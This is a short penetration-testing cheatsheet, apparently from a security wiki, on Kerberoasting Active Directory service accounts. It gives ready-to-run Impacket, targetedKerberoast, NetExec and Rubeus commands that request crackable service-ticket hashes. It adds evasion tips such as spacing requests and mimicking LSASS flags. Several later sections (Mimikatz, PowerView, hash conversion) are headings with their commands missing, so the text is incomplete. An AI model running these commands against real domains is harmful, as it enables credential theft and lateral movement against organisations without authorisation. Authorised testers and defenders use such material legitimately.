Kerberoasting

Cheatsheet with commands for performing Kerberoasting from the outside and inside.

From Linux:

Requesting hashes with Impacket:

impacket-GetUserSPNs -dc-ip <DC_IP> <domain>/<user>:<pass> -request -outputfile hashes.txt

Supports AES keys (-aesKey), Kerberos auth (-k), and targeted users (-usersfile).

ACL abuse Kerberoasting with targetedKerberoastarrow-up-right:

./targetedKerberoast.py -d <domain> -u <user> -p <pass> --dc-ip <DC_IP>

Requesting hashes with NetExecarrow-up-right:

nxc ldap <DC_IP> -u <user> -p <pass> --kerberoasting hashes.txt

Fast enumeration and roasting with built-in OPSEC options like AES256 preference.


From Windows:

Requesting hashes with Rubeusarrow-up-right:

Rubeus.exe kerberoast /user:<target> /outfile:hashes.txt

or full enum:

Rubeus.exe kerberoast /outfile:hashes.txt

Use /aes256 for OpSec, /interval:60s to space requests, and /nowrap to mimic LSASS flags.

Enumerating SPNs with setspn.exe :

Retrieving All Tickets Using setspn.exe (May require Powershell started as Administrator):

Extracting Tickets from Memory with Mimikatz:

Getting users with SPNs in target with Powerview:

Using PowerView to Target a Specific User:

Exporting All Tickets to a CSV File with PowerView:


Converting:

Convert kirbi file to Johnarrow-up-right format:

or:

Convert to Hashcatarrow-up-right format:

Converting Kerberos Hash to oneline format in Linux:

Converting Kerberos Hash to oneline format in PowerShell:

Last updated